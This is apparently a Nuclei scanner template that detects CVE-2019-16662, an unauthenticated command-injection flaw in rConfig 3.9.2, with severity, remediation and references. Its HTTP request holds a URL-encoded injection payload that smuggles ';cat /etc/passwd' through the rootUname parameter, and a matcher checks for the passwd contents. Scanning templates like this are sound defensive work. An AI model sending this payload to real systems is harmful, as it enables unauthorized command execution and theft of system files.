rConfig 3.9.2 - Remote Code Execution

id: CVE-2019-16662

info:
  name: rConfig 3.9.2 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected system.
  remediation: |
    Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16662
    - https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu
    - http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16662
    cwe-id: CWE-78
    epss-score: 0.97525
    epss-percentile: 0.9999
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
  tags: cve2019,cve,intrusive,rconfig,packetstorm,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100883f7b6ac0eb6f91c28a201beec90c216df8296a09b56e6328378d54c8f68fab02203ecee5b5f73181d431655410ee02832559b60896d22aab17e1e22edb711db782:922c64590222798bb761d5b6d8e72950